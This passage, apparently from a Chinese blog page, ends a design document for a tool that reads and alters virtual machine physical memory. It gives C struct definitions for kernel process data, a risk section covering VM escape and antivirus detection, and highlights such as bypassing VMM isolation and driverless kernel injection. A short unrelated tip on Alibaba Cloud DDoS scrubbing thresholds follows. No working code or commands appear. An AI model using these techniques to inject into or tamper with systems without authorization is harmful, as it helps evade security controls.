    } NT_PROCESS_DATA, *PNT_PROCESS_VERSION_DATA;
    “`
    ### 5.3 VM_PROCESS_DATA
    “`c
    typedef struct _VM_PROCESS_DATA {
        DWORD64 PEB;                      // PEB地址
        DWORD PEB32;                      // 32位PEB(仅WoW64)
        DWORD64 DestProcessEprocess;      // 目标进程EPROCESS地址
        ULONGLONG DestProcessCr3;         // 目标进程CR3
        DWORD64 VadRoot;                  // 目标进程VAD根节点
    } VM_PROCESS_DATA, *PVM_PROCESS_DATA;
    “`
    ## 6. 安全考虑
    ### 6.1 风险
    – **虚拟机逃逸风险**:直接访问物理内存可能导致虚拟机逃逸
    – **系统稳定性风险**:错误的内存修改可能导致虚拟机崩溃
    – **安全软件检测**:可能被安全软件检测为恶意行为
    – **法律风险**:未经授权访问虚拟机内存可能违反法律法规
    ### 6.2 防护措施
    – **权限控制**:仅在必要时使用高权限
    – **内存验证**:修改内存前验证地址有效性
    – **错误处理**:完善的错误处理机制
    – **日志记录**:详细的操作日志,便于调试和审计
    ## 7. 应用场景
    – **虚拟机调试**:深入调试虚拟机内核和驱动
    – **安全研究**:研究虚拟机安全机制和漏洞
    – **恶意软件分析**:在隔离环境中分析恶意软件
    – **系统维护**:在虚拟机无法正常启动时进行修复
    – **逆向工程**:分析虚拟机中的软件和驱动
    ## 8. 技术亮点
    1. **直接物理内存访问**:绕过VMM隔离,实现高效内存访问
    2. **动态偏移查找**:无需硬编码内核结构偏移,适应不同Windows版本
    3. **无驱动内核注入**:不需要加载驱动即可实现内核模式操作
    4. **跨版本兼容**:支持多种Windows版本
    5. **模块化设计**:组件化设计,便于扩展和维护
    ## 9. 后续改进方向
    1. **PDB支持**:通过PDB文件获取内核结构偏移,提高准确性和兼容性
    2. **更多虚拟机支持**:支持VirtualBox、Hyper-V等其他虚拟机
    3. **GUI界面**:开发图形用户界面,提高易用性
    4. **更多注入方式**:支持更多内核注入技术
    5. **自动化脚本**:支持脚本自动化操作
    6. **安全增强**:添加更多安全检查和防护机制
  • 阿里云轻量限速清洗解决办法

    打开https://yundun.console.aliyun.com/?spm=5176.12818093_47.overview_recent.3.4a7b2cc9EtwzYS&p=ddos#/asset/swas/cn-hangzhou

    在顶部左边选择实例区域—点开对应的ip,设置清洗阈值 bps 250Mbps |pps: 50000

    这样就不会触发清洗被限速了,这是阿里云挖的坑